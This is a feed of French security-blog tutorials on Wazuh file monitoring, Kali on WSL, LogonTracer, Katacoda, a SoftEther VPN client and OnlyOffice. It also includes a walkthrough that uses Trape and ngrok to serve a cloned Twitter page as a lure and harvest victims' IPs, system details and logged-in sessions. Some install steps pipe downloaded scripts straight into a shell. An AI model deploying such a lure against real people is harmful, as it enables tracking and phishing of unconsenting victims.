Quantcast
Channel: Homputer Security
Viewing all 97 articles
Browse latest View live

Wazuh HIDS Configuration du FIM

$
0
0

Bonjour à tous,

Dans cet article, qui suit celui de la présentation de Wazuh (lien ici), nous allons voir comment configurer la partie FIM (File Integrity Monitoring) de ce logiciel.

Je vais conserver l’architecture du 1er article, c’est-à-dire 1 serveur manager Wazuh sous Centos 7, un client Windows 10 & un autre Ubuntu.

Vérifions d’abord que les agents sont bien connectés avec le script agent_control :

Dans mon cas, les agents ont le même nom car je me sert de mon poste Windows 10 et du bash intégré à Windows comme agent. Le 005 correspond à Windows et 006 à Ubuntu.

Parlons maintenant du FIM, cette fonctionnalité permet de surveiller en temps réel ou non les modifications effectuées sur les fichiers présents sur nos serveurs. La surveillance se fait généralement sous forme de scan. Les technologies utilisées pour voir si un fichier est modifié sont tout simplement la réalisation de hashs, pour l’instant SHA1 et MD5 (SHA256 est prévu dans la prochaine version de Wazuh). Le service utilisé pour réaliser les scans du FIM est Syscheck.

Le fonctionnement est donc le suivant, après avoir défini les fichiers à surveiller sur nos différents agents Wazuh, un scan syscheck est lancé, ce scan va réaliser une ou des empreintes de fichier selon vos choix, en SHA1/MD5. Et lors du prochain scan, si l’empreinte du fichier est modifiée vous recevrez une alerte. Il existe notamment des options pour la surveillance en temps réel ou pour avoir un diff, c’est-à-dire ce qui a été modifié dans le fichier.

Passons maintenant à la configuration de notre manager Wazuh :

Tout d’abord, je vous invite à visiter ce lien pour configurer les alertes par mail de votre serveur Wazuh.

La configuration se fait dans le fichier /var/ossec/etc/ossec.conf, il suffit de renseigner les informations de votre serveur de mail afin qu’il puisse vous transférer les différentes alertes émises par votre IDS.

Une fois les alertes configurées, nous allons continuer la configuration sur le serveur manager.

De base les règles de déclenchement de Wazuh se trouvent dans /var/ossec/ruleset/, ces différentes règles correspondent aux différentes applications qu’il est possible de surveiller ou aux fonctionnalités de ce logiciel.

Pour la partie FIM, nous verrons que très peu ces fichiers de règles, seul le ficher 0015-ossec_rules.xml nous intéresse car il contient les règles pour le syscheck (FIM) et rootcheck (détection de rootkit).

Au niveau des règles, il est possible d’en créer des nouvelles et de modifier les existantes, notamment au niveau des alertes par mail ou du niveau de l’alerte générée par la règle en question.

La configuration du niveau des alertes par mail se fait toujours dans ossec.conf dans cette partie :

Le niveau des alertes n’est pas le seul endroit où les mails peuvent être configurés, il est également possible de configurer directement les mails dans les alertes, si vous voulez recevoir une alerte sur une seule règle si le niveau est bas.

Voici un exemple ici avec l’option alert_by_mail sur la règle d’un ajout d’agent à notre serveur manager.

 

Pour information, les alertes générées par Wazuh se trouvent dans le fichier /var/ossec/log/alerts/alert.log. Par mail, une alerte FIM ressemble à ça :

Passons maintenant à la configuration de nos agents Windows et Linux, pour la partie Syscheck (FIM), la configuration est assez simple.

Tout ce passe dans le fichier ossec.conf sur nos agents, dans la partie syscheck. Dans ce fichier de configuration, différentes balises sont disponibles :

  • frequency : correspond à la fréquence des scans syscheck
    • Il est également possible de mettre des jours de la semaine et non un temps en secondes
  • scan_on_start : cette option effectue un scan au lancement du service Wazuh
  • directories : qui permet d’indiquer les dossiers/fichiers à surveiller
    • Des options sont disponibles pour cette balise :
      • check_all : effectue un check MD5, SHA1 ainsi que les permissions du fichier/dossier
      • realtime : permet la surveillance en temps réel sur les dossiers uniquement et sur Windows/Linux.
      • report_change : exécute un diff sur le fichier pour remonter les modifications
  • alert_new_files : génère une alerte lors de l’ajout d’un fichier
  • auto_ignore : permet d’ignorer un fichier s’il est modifié plus de 3 fois
  • ignore : permet de fournir les dossiers/fichiers à ne pas prendre en compte dans le syscheck
  • windows_registry (Windows Only) : alerte envoyée en cas de modification d’une clé de registre
  • registry_ignore (Windows Only) : permet d’ignorer les clés de registre spécifiées

Je n’ai présenté ici que les principales options du syscheck, voici un lien vers une documentation plus complète.

Voici également un de fichier de configuration pour Windows/Linux, les configurations sont les mêmes pour toutes les plateformes (Windows/AIX/Linux). Il faut bien entendu, adapter les fichiers par OS et les intégrer dans chaque agent en fonction de son système.

<syscheck>
<disabled>no</disabled>
### Mise en place de l’option auto_ignore ###
<auto_ignore>yes</auto_ignore>
### Mise en place de l’option alert_new_files ###
<alert_new_files>yes</alert_new_files>
### Scan toutes les 43200 secondes ###
<frequency>43200</frequency>
### Possibilité de gérer les scans par jour/heure ###
<scan_time>9pm</scan_time>
<scan_day>monday</scan_day>
### Scan au lancement de Wazuh ###
<scan_on_start>yes</scan_on_start>
### Dossiers à surveiller avec l’option Check_all ###
<directories check_all=”yes”>/etc,/usr/bin,/usr/sbin</directories>
### Utilisation des options report_change & real_time ###
<directories check_all=”yes” realtime=”yes” report_changes=”yes”>/bin</directories>
### Fichiers/Dossiers à ignorer
<ignore>/etc/mtab</ignore>
<ignore>/etc/hosts.deny</ignore>
### Réaliser un syscheck sans jamais effectuer de diff ###
<nodiff>/etc/ssl/private.key</nodiff>
##### Seulement sur Windows #####
### Clé de registre à surveiller ###
<windows_registry>HKEY_LOCAL_MACHINE\Software\Classes\batfile</windows_registry>
### Clé de registre à ignorer ###
<registry_ignore>HKEY_LOCAL_MACHINE\Security\Policy\Secrets</registry_ignore>
</syscheck>

Par défaut, les différents systèmes ont déjà un fichier de configuration préconfiguré et bien commenté.

Pour l’instant nous avons donc des agents Wazuh et un manager configuré pour la partie FIM, mais si vous avez un parc important, il peut être très difficile de déployer le fichier sur toutes vos machines clientes. Il existe une solution à configurer sur notre manager afin de déployer une configuration par système d’exploitation par exemple ou par groupe de serveur.

Ce fichier se trouve dans /var/ossec/etc/shared/default/ et se nomme agent.conf.

Il se présente comme ossec.conf sur nos agents et vous permet de déployer une configuration uniforme sur l’ensemble de vos agents, les commandes sont exactement les mêmes que pour ossec.conf. Voici un exemple pour le déploiement en fonction de l’OS :

<agent_config name=”agent01”>
Configuration de votre agent
</agent_config>
<agent_config os=”Windows”>
Configuration de vos options pour vos serveurs Windows
</agent_config>
<agent_config os=”Linux”>
Configuration de vos options pour vos serveurs Linux
</agent_config>
<agent_config profile=”UnixHost”>
Configuration de vos options pour les serveurs qui ont le profil UnixHost
</agent_config>

 

Avec cette fonctionnalité, le fichier agent.conf sera partagé automatiquement et sera pris en compte par l’ensemble de vos agents si une configuration lui correspond. Pour vérifier si votre configuration est présente sur un de vos clients, vous pouvez exécuter les commandes suivantes sur votre manager :

  • Vérification du hash du fichier agent.conf

Lancez la commande :

md5sum /var/ossec/etc/shared/default/agent.conf

  • Vérification du hash avec agent_control

Lancez la commande :

/var/ossec/bin/agent_control -i ### ID de votre agent ###

Il faut maintenant comparer les hashs fournis dans le résultat des 2 commandes :

Je vous invite également à lire la documentation officielle de Wazuh au sujet de la configuration centralisée si vous voulez aller plus loin. Cet article sera également suivi d’un 3ème article sur la configuration de la partie HIDS de cet outil !

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

MRigonnaux

The post Wazuh HIDS Configuration du FIM appeared first on Homputer Security.


Le traçage sur Internet avec Trape et ngrok

$
0
0


Trape est un outil de reconnaissance qui vous permet de tracer les activités de n’importe quel internaute. Cet outil a été conçu afin de sensibiliser sur la surveillance et le tracking à travers les navigateurs.
Dans cet article, nous verrons comment associer Trape et ngrok pour piéger des utilisateurs.

Installation

Tout d’abord, clonez le repo de l’outil, puis procédez à l’installation de ses dépendances :

# git clone https://github.com/boxug/trape.git
# cd trape
# pip install -r requirements.txt

Ci-dessous le menu d’aide de Trape :

Exemple d’utilisation

Lançons à présent Trape.


L’option --url (- u) permet de réaliser un clone d’une page web qui sera utilisé pour leurrer les victimes. A cette option, vous devez donc fournir une url.
Pour notre test, nous clonerons la page d’accueil de Twitter.

Après son exécution, l’outil présente :
_ un lien qu’il faudra partager aux victimes (Lure for the victims),
_ un lien pour le panneau de configuration de Trape (Control Panel Link),
_ un token pour l’accès au panneau de configuration de Trape (Access Token).

Accédons au panneau de configuration grâce au token.

Lançons ngrok dans un nouveau terminal.
Cette application nous permettra de rendre accessible sur la Toile, l’url généré par Trape pour piéger les victimes.

Pour rendre accessible sur Internet cette url, il faudra tout simplement ajouter /twitter.com au lien généré par ngrok.
Voici le résultat :

Aussitôt que la victime cliquera sur le lien, vous verrez apparaître son adresse IP publique dans votre fenêtre Trape.

De retour sur la panneau de configuration de Trape, vous verrez une liste de toutes les victimes.

L’option Details comprend diverses informations sur les machines utilisées par les victimes. Entre autres, les ports ouverts sur la machine, le système d’exploitation, le navigateur, etc.

Sessions Connection révèle les connexions actives de la victime sur plusieurs réseaux sociaux et autres sites Web populaires comme Facebook, Twitter, Amazon, Spotify, FourSquare, etc.
Dans l’image ci-dessus, nous remarquons que notre victime a une connexion active sur Facebook.

La section Attacks Hook rend possible d’autres types d’attaques telles que le phishing, la redirection de lien Web ou le transfert de fichier malicieux sur le système de la victime.

Happy Hacking !

mdestroy

The post Le traçage sur Internet avec Trape et ngrok appeared first on Homputer Security.

Kali Linux sur Windows 10

$
0
0

Bonjour à tous ! Aujourd’hui nous allons voir ensemble comment installer Kali Linux sur son poste Windows 10.

Vous le savez surement, depuis peu de temps il est possible d’installer des sous-systèmes Linux sur sa machine Windows 10, cette option s’appelle WSL (Windows Subsystem Linux) et est proposée depuis Windows 10 Redstone (1607). Différents systèmes sont disponibles, comme Debian, Ubuntu, Suse ou encore celle qui nous intéresse dans cet article, Kali Linux. Pour moi l’avantage est que je n’ai plus besoin de machines virtuelle pour réaliser des tests ou autres.

Pour plus de renseignements sur ce système d’exploitation spécifique aux tests d’intrusion offensif je vous invite à vous rendre ce lien.

Avant l’installation des systèmes sur votre ordinateur, il est nécessaire d’activer la fonctionnalité WSL depuis PowerShell (en Administrateur) avec la commande suivante :

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

L’ensemble des systèmes cités plus haut sont disponibles directement sur le Windows Store, il faut donc simplement réaliser l’installation :

Vous pouvez directement installer le sous-système Kali :

Une fois téléchargé, un courte configuration sera nécessaire :

Vous voilà en possession d’un sous-système Kali Linux sur votre machine Windows, mais sans interface graphique.

Jusqu’à ce niveau, l’installation est la même pour les différents systèmes Linux.

Pour procéder à l’installation de l’interface graphique il faut récupérer et exécuter le script suivant :

wget https://kali.sh/xfce4.sh
chmod +x xfce4.sh
./xfce4.sh

Une fois le script lancé, vous pouvez attendre jusqu’à 45 minutes, l’installation est longue. Vous aurez ensuite à configurer votre clavier :

Une fois ces tâches effectuées, lancez le service xrdp avec la commande suivante :

service xrdp start

Vous n’avez plus qu’à vous connecter à votre machine Kali en RDP (Remote Desktop Protocol) sur le port 3390 avec l’utilitaire fourni de base par Windows :

Connectez-vous et profitez de votre système Kali sans avoir eu à créer de machines virtuelle ou de dual-boot.

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

MRigonnaux

The post Kali Linux sur Windows 10 appeared first on Homputer Security.

Comment investiguer vos logins Windows avec LogonTracer ?

$
0
0

LogonTracer est un outil Open Source qui vous permet d’analyser plus facilement les logs d’évènements de sécurité Windows Active Directory.
Après avoir analysé toutes les connexions de votre log, LogonTracer associe chaque compte d’utilisateur au nom d’hôte (à l’adresse IP) puis affiche la liaison dans une graphe.
L’objectif étant de permettre à tout administrateur de répérer plus facilement les accès non-autorisés.

Voici l’ensemble des évènements affichés par LogonTracer :

_ 4624: Un compte a ouvert une session avec succès.
_ 4625: Un compte n’a pas pu se connecter.
_ 4768: Un ticket d’authentification Kerberos a été demandé (TGT Request).
_ 4769: Un ticket de service Kerberos a été demandé (ST Request).
_ 4776: Authentication NTML
_ 4672: Privilèges spéciaux assignés à la nouvelle session.

Dans ce billet, nous verrons comment installer et utiliser LogonTracer.

I – Export d’un fichier d’évènement

Avant tout, exportons un log d’évènement de sécurité.
_ Sur votre système Windows AD, ouvrez l’observateur d’évènement:
Touche Windows + touche R, puis saisissez eventvwr.msc

_ Dans l’observateur d’évènements, déroulez le dossier Windows Logs, faîtes un clic droit sur le log Sécurité (Security), puis sauvegardez les évènements (Save all events).

_ Entrez un nom pour votre fichier, et choisissez le type de fichier evtx.

Choisissez le type d’affichage. Pour notre démo, nous choisirons l’Anglais.

Enfin, déplacez le fichier sauvegardé sur le système sur lequel LogonTracer sera installé.

 

II – Installation de LogonTracer sur Kali

Passons à présent à l’installation de LogonTracer sur une machine Kali linux.

LogonTracer est écrit en Python, mais utilise une base de données Neo4j (écrit en Java).
Notre installation s’effectuera en 2 étapes: l’installation de la base de données Neo4j, puis l’installation de LogonTracer.

Installation de Java

Ces commandes ci-dessous vous permettront d’installer Java 8 sur votre système Kali.

# echo “deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main” >> /etc/apt/sources.list# echo “deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main” >> /etc/apt/sources.list
# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886
# apt-get update
# apt-get install oracle-java8-installer

Installation de Neo4j

Allez sur la page des releases de Neo4j, puis téléchargez la version Linux.

Décompressez le fichier téléchargé:

# tar xvfz neo4j-community-3.4.4-unix.tar.gz

Avant de démarrer Neo4j, il nous faudra apporter quelques modifications au fichier de configuration neo4j-community-3.4.4/conf/ne04j.conf pour permettre des accès distants à la base de données.

Modifiez les lignes dbms.connector.bolt.listen_address et dbms.connector.http.listen_address comme dans l’image suivante:

Pour démarrer Neo4j, ouvrez le dossier neo4j-community-3.4.4/bin, puis lancez le script neo4j:

# ./neo4j start

Ouvrez votre navigateur, puis connectez vous à l’adresse http://localhost:7474 .

Les identifiants par défaut de la base de données Neo4j sont:
username: neo4j
password: neo4j

Vous serez invité à changer votre password à votre toute première connexion.

Installation de LogonTracer

Clonez le repo de l’outil :

# git clone https://github.com/JPCERTCC/LogonTracer.git

Installez les dépendances :

# cd LogonTracer
# pip3 install -r requirements.txt

Ci-dessous le menu d’aide de LogonTracer:

Lançons LogonTracer sur le port 8080 avec les paramètres suivants:

Accédons à présent à l’interface Web de LongonTracer via l’adresse http://localhost:8080 .

Cliquez sur le bouton Upload ETVX button situé tout en bas de l’interface Web pour importer le log d’évènement de sécurité.

 

Après l’import du fichier, rechargez votre page Web.

Utilisez le menu de gauche de LogonTracer pour chercher les comptes d’utilisateurs selon certains critères.
L’option All users vous permet de voir toutes les tentatives de connexions.

Logon Failure vous affiche les tentatives de connexion erronnées.

La barre de navigation vous permettra de chercher un compte d’utilisateur, un nom d’hôte, une adresse IP.
Le bouton export vous aidera à télécharger la graphe au format JPG, JSON, PNG, CSV.

III – Docker

Une image Docker de LogonTracer est également disponible.
Il est nécessaire d’activer JavaScript sur votre navigateur pour utiliser LogonTracer.

$ docker pull jpcertcc/docker-logontracer

$ docker run \
--detach \
--publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \
-e LTHOSTNAME=[IP_Address] \
jpcertcc/docker-logontracer

mdestroy

The post Comment investiguer vos logins Windows avec LogonTracer ? appeared first on Homputer Security.

Apprenez et testez facilement Docker et Kubernetes sur Katacoda !

$
0
0

Bonjour à tous, aujourd’hui un très rapide article sur Katacoda, une plateforme interactive qui permet d’apprendre et de tester facilement des outils comme Docker Swarm ou Kubernetes directement depuis votre navigateur. Ce site a été créé par Ben Hall.

Ce site Web propose différents tutoriels sur des technologies comme Docker Swarm, Kubernetes, CoreOS avec en supplément des environnements en ligne de commande pour les tester. Ils fournissent donc un ensemble complet pour apprendre même si vous n’avez pas de ressource sous la main.

Vous avez notamment la possibilité d’installer un cluster Kubernetes avec plusieurs ou un seul nœud, d’effectuer des configurations pour mettre la technologie docker en production, etc.

Les tutoriels durent en général entre 10 et 15 minutes et sont accompagnés d’explication en anglais ainsi que des commandes avec la possibilité de les entrer directement et d’observer le résultat.

Je trouve le principe et les cours très intéressants, à noter que tous les cours sont gratuits et que certains sont Open Source, vous avez même la possibilité d’en ajouter vous-même. Si vous êtes une entreprise, vous avez la possibilité d’adapter le contenu des cours en passant par l’offre payante de Katacoda.

Personnellement je suis tombé par hasard sur ce site en cherchant des tutoriels pour Kubernetes et ça m’a permis de mieux comprendre le fonctionnement de cet outil, qui n’est vraiment pas évident à installer. De plus les cours sont très rapides et simples à comprendre, l’idéal si vous débutez.

Voici un exemple des cours disponibles sur cet outil :

Les différents cours sont découpés en scénario, voici un exemple pour Kubernetes :

Et voici un exemple d’interface lors d’un cours, avec les instructions et les commandes sur la gauche et les environnements de test sur la droite :

Ce site propose également une partie sur la sécurité des conteneurs très complète qui devrait vous intéresser :

Cette partie contient les éléments de base de la sécurité sous Docker, comme l’utilisation des CGroups et de Seccomp.

Pour conclure sur cet article, je vous conseille vraiment de jeter un œil à cette plateforme si vous vous intéressez aux conteneurs, les cours sont très variés et simples à suivre.

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

MRigonnaux

The post Apprenez et testez facilement Docker et Kubernetes sur Katacoda ! appeared first on Homputer Security.

Comment connecter un client SoftEther à un VPN SoftEther sous Ubuntu ?

$
0
0

Il y’a quelques semaines je vous introduisais à SoftEther, un VPN très intéressant supportant plusieurs protocoles VPN tels que le SSL VPN, L2tp/IpSec, OpenVpn, MS-SSTP, L2TPv3, etc.
Dans cet billet, nous tenterons de nous connecter à un serveur Vpn SoftEther via la version Linux du client SoftEther.
Notez que ce logiciel client utilise le protocole Vpn natif de SoftEther. Cela peut être très utile surtout si l’un de vos systèmes ne supporte pas certains protocoles offerts par SoftEther.

Si vous souhaitez savoir davantage sur l’installation et l’administration d’un serveur VPN SoftEther, je vous invite à lire cet article:

Mise en place d’un VPN L2tp/IpSec avec SoftEther

I-Pré-requis

Installez les pré-requis pour l’installation de SoftEther:

# apt-get update && apt-get upgrade -y
# apt-get install -y gcc make wget tzdata git libreadline-dev libncurses-dev libssl-dev cmake -y

Nous devons nous assurer que la redirection des paquets pour le protocole Ipv4 est active sur notre machine.
Ouvrez votre terminal, accédez au fichier /etc/sysctl.conf, puis activez le paramètre net.ipv4.ip_forward comme suit.

Validez la modification.

# sysctl -p

II- Installation du client SoftEther

Passons à présent au téléchargement puis à la compilation des fichiers binaires de SoftEther:

# cd /opt
# git clone https://github.com/SoftEtherVPN/SoftEtherVPN_Stable.git
# cd SoftEtherVPN_Stable
# ./configure
# make

Suite à la compilation de SoftEther, un dossier bin est généré. Ce dossier contient d’autres dossiers comprenant les fichiers binaires utilisés par SoftEther.

Copiez le contenu du dossier bin dans le dossier /opt.

# cp bin/* /opt

Le projet github de SoftEther vient avec un dossier systemd comprenant des fichiers qui serviront à créer des services systemd pour l’exécution de chacune des applications de SoftEther.

Il vous suffira donc de copier le contenu du dossier systemd dans le dossier /lib/systemd/system:

# cp systemd/* libsystemd/system

Ci-dessous le contenu du fichier softether-vpnclient.service:

Démarrez le service du client Softether :

# systemctl start softether-vpnclient.service
# systemctl enable softether-vpnclient.service

vpncmd est l’outil d’administration du VPN SoftEther en ligne de commande. Il est situé dans le dossier /opt/vpncmd/vpncmd.
Pour accéder plus facilement à cet exécutable, vous avez plusieurs options dont la configuration d’un alias.
Ouvrez le fichier .bashrc de votre profil,

# nano ~/.bashrc

Puis ajoutez la ligne suivante:

alias vpncmd=/opt/vpncmd/vpncmd

L’outil sera désormais disponible à travers la commande vpncmd dans vos nouveaux shells.

III-Configuration du client SoftEther

Passons à présent à la configuration du client.
Accédez au mode admin du client SoftEther.
Lancez vpncmd dans votre terminal, choisissez l’option 2, puis tapez deux fois sur votre touche entrée.

Si vous souhaitez mettre en place un mot de passe pour l’accès au mode admin, lancez la commande PasswordSet, puis un mot de passe.

Créeons un nouvel adaptateur à partir de la commande NicCreate.

AccountCreate nous servira à créer une nouvelle connexion VPN.
A cette étape, vous devez insérer toutes les informations de votre serveur VPN SoftEther, comme l’adresse IP, puis le port utilisé, le nom d’utilisateur, etc.

NB: Par défaut, le protocole de SoftEther utilise les ports 443, 992, 5555. Il est également possible d’ajouter vos propres ports.

La commande AccountPasswordSet permet d’insérer le mot de passe de l’utilisateur du VPN.

Pour vous connecter à votre serveur VPN SoftEther, exécutez la commande AccountConnect.

Vous pouvez vous servir de la commande AccountStatusGet pour vérifier l’état de la connexion.
Dans notre cas, le paramètre Session Status nous confirme que la connexion au serveur VPN a fonctionné.

Quittez vpncmd.

Pour obtenir une adresse Ipv4 du VPN, il est nécessaire que vous executiez dans votre terminal la commande dhclient.

Même après votre connexion au serveur VPN, vous remarquerez que votre adresse IP publique est restée inchangée.

En effet, la table de routage ci-dessous nous informe que seul le réseau local du VPN est accessible par le client.
Le routage par défaut est toujours le même.


Contrairement à Windows, sous Linux, la table de routage n’est pas mise à jour automatiquement. Il nous faudra donc le faire manuellement.
Notre objectif étant de router tout le trafic du client vers le VPN.

Cette ligne ci-dessous nous permet d’ajouter une route vers le serveur VPN via la passerelle locale. Cette passerelle représente, dans mon exemple, le routeur de mon réseau WiFi.

# ip route add vpn_server_public_ip via local_router_ip dev interface

Cette ligne nous permet de supprimer le routage par défaut sur le système du client.

# ip route del default

Cette ligne nous permet d’ajouter un nouveau routage par défaut.

# ip route add default via vpnserver_private_ip

Après l’exécution de ces commandes, vous verrez que votre adresse ip publique aura changé.

Ci-dessous la nouvelle table de routage du client.

Voici un script Bash qui vous simplifiera tout ce processus.

#!/bin/bash

if [ "x$2" == "x" ]; 
then
  echo "VPN server public ip required  ./vpn-route.sh add/del vpn_server_public_ip " 

else

 case "$1" in

 add)

 # add route to vpn server

 ip route add $2/32 via 192.168.43.1 dev wlp3s0
 ip route del default
 ip route add default via 192.168.30.1 dev vpn_mynic


 ;;

 del)


 ip route del $2/32
 ip route del default
 ip route add default via 192.168.43.1 dev wlp3s0

 ;;

 esac

fi

mdestroy

The post Comment connecter un client SoftEther à un VPN SoftEther sous Ubuntu ? appeared first on Homputer Security.

Comment créer votre bureau privé dans le cloud avec OnlyOffice ?

$
0
0


OnlyOffice est une suite d’outils de productivité qui peut s’avérer très utile dans le milieu professionnel.
Cette application Open Source est notamment composée d’un éditeur en ligne, d’un serveur de mail, et d’une plateforme collaborative comprenant un gestionnaire de document, un gestionnaire de projet, et un système CRM.

Ci-dessous quelques fonctionnalités de OnlyOffice:

_ Possibilité d’éditer les fichiers en temps réel de façon collaborative comme avec Google Docs,
_ Intégre des applications Web comme Box, Onedrive, WebdaV, Twitter, LinkedIn, Facebook, Google Apps, DropBox, Alfresco, Sharepoint etc.
_ Exportation de données possible à partir de Microsoft Exchange,
_ Compatible à 100 % avec les formats Microsoft Office (pptx, docx, xlsx),
_ Intégration de votre calendrier, votre carnet d’adresses, etc.

Dans ce billet, nous installerons la suite OnlyOffice sur une instance de Docker tournant sur un système Ubuntu 16.04 (Xenial).

I- Installation de la suite OnlyOffice

Commençons par installer Docker :

# curl -fsSL https://get.docker.com | bash

Assurez-vous que Docker s’est bien installé.

Pour lancer Docker au même démarrage de la machine, lancez la commande suivante:

# systemctl enable docker

OnlyOffice vient notamment avec trois composants:

_ OnlyOffice Document Server, qui représente l’éditeur en ligne, semblable à Google Docs,
_ OnlyOffice Mail Server, pour la gestion des mails,
_ OnlyOffice Community Server, qui comprend des outils de productivité de business tels que les CRM, le gestionnaire de projet, etc.

Dans un premier temps, créeons un bridge pour l’instance OnlyOffice.

# docker network create --driver bridge onlyoffice

Passons à présent à l’installation de chacun des composants de OnlyOffice.

Document Server :

# docker run --net onlyoffice -i -t -d --restart=always --name onlyoffice-document-server \
-v /app/onlyoffice/DocumentServer/data:/var/www/onlyoffice/Data \
-v /app/onlyoffice/DocumentServer/logs:/var/log/onlyoffice \
onlyoffice/documentserver

Mail Server :

# docker run --net onlyoffice --privileged -i -t -d --restart=always --name onlyoffice-mail-server \
-p 25:25 -p 143:143 -p 587:587 \
-v /app/onlyoffice/MailServer/data:/var/vmail \
-v /app/onlyoffice/MailServer/data/certs:/etc/pki/tls/mailserver \
-v /app/onlyoffice/MailServer/logs:/var/log \
-v /app/onlyoffice/MailServer/mysql:/var/lib/mysql \
-h mail.votre-domaine.com \
onlyoffice/mailserver

NB: Remplacez mail.votre-domaine.com par le nom d’hôte que vous souhaitez utiliser pour le serveur de mail.

Community Server :

# docker run --net onlyoffice -i -t -d --restart=always --name onlyoffice-community-server \
-p 8080:80 -p 5222:5222 \
-v /app/onlyoffice/CommunityServer/data:/var/www/onlyoffice/Data \
-v /app/onlyoffice/CommunityServer/mysql:/var/lib/mysql \
-v /app/onlyoffice/CommunityServer/logs:/var/log/onlyoffice \
-v /app/onlyoffice/DocumentServer/data:/var/www/onlyoffice/DocumentServerData \
-e DOCUMENT_SERVER_PORT_80_TCP_ADDR=onlyoffice-document-server \
-e MAIL_SERVER_DB_HOST=onlyoffice-mail-server \
onlyoffice/communityserver

Dans un souci de sécurité, nous installerons un reverse proxy nginx pour éviter d’exposer notre serveur OnlyOffice directement sur la Toile. Le reverse proxy nginx se chargera de transmettre toutes les requêtes qu’il recevra (sur les ports 80 et 443) vers le port 8080, utilisé par Community Server.

II-Installation et configuration du reverse proxy nginx

Installons nginx :

# apt install nginx

Créeons un hôte virtuel sur nginx :

# nano /etc/nginx/conf.d/onlyoffice-proxy.conf

Collez les lignes suivantes dans le nouveau fichier créé :

server {
listen 80;
server_name office.votre-domaine.com;

error_log /var/log/nginx/onlyoffice.error;

location / {
proxy_pass http://127.0.0.1:8080;
}
}

NB: Remplacez office.votre-domaine.com par votre propre domaine.

La directive proxy_pass permettra au reverse proxy de transmettre toutes les requêtes qu’il recevra sur les ports 80 et 443 vers le port 8080 utilisé par Community Server.

Validez les nouvelles configurations de nginx, puis reloadez le service.

# nginx -t
# systemctl reload nginx

Ouvrez votre navigateur, puis lancez votre nom de domaine ou l’adresse ip de votre serveur.
Après l’initialisation de OnlyOffice, vous verrez le portail suivant.

III-Activation du HTTPS

Pour la sécurisation des communications, nous installerons un certificat Letsencrypt sur notre instance OnlyOffice.

# apt install letsencrypt

Ajoutez les lignes suivantes dans le fichier de configuration de l’hôte virtuel /etc/nginx/conf.d/onlyoffice-proxy.conf:

location ~ /.well-known/acme-challenge {
root /usr/share/nginx/onlyoffice/;
allow all;
}

Créez le dossier /usr/share/nginx/onlyoffice puis changez les propritétaires de ce dossier :

# mkdir /usr/share/nginx/onlyoffice
# chown www-data:www-data /usr/share/nginx/onlyoffice -R

Reloadez nginx :

# systemctl reload nginx

Pour créer un certificat avec Letscrypt, lancez la commande suivante:

# letsencrypt certonly --agree-tos --webroot --email your-email-address -d office.votre-domain.com -w /usr/share/nginx/onlyoffice/

Enfin, remplacez le contenu du fichier /etc/nginx/conf.d/onlyoffice-proxy.conf par celui-ci:

server {
listen 80;
server_name office.votre-domaine.com;
return 301 https://$server_name$request_uri;
}

server {
listen 443 ssl http2;
server_name office.votre-domaine.com;

ssl_certificate /etc/letsencrypt/live/office.votre-domaine.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/office.votre-domaine.com/privkey.pem;

ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
ssl_protocols TLSv1.1 TLSv1.2;

ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
ssl_prefer_server_ciphers on;

error_log /var/log/nginx/onlyoffice.error;
access_log /var/log/nginx/onlyoffice.access;

location ~ /.well-known/acme-challenge {
root /usr/share/nginx/onlyoffice/;
allow all;
}

gzip off;

server_tokens off;

location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}

NB: Remplacez office.votre-domaine.com par votre propre domaine.

Validez les configurations de nginx, puis reloadez le service :

# nginx -t
# systemctl reload nginx

Après l’actualisation du portail d’OnlyOffice, vous remarquerez que vous êtes redirigé automatiquement sur le https.

Après l’enregistement du compte administrateur, vous aurez accès à OnlyOffice et ses modules.

IV-Présentation des modules de OnlyOffice

 

Document Server

Gestionnaire de projet

CRM

Communauté

Mail Server

J’espère que vous avez pris un plaisir à découvrir OnlyOffice. Si vous avez des questions, n’hésitez surtout pas à me contacter par mail ou laissez des commentaires.

🙂

mdestroy

The post Comment créer votre bureau privé dans le cloud avec OnlyOffice ? appeared first on Homputer Security.

Testez votre configuration SSL

$
0
0

Bonjour à tous,

Aujourd’hui un article rapide sur comment tester votre configuration SSL dans un réseau local ou sur un service exposé sur Internet !

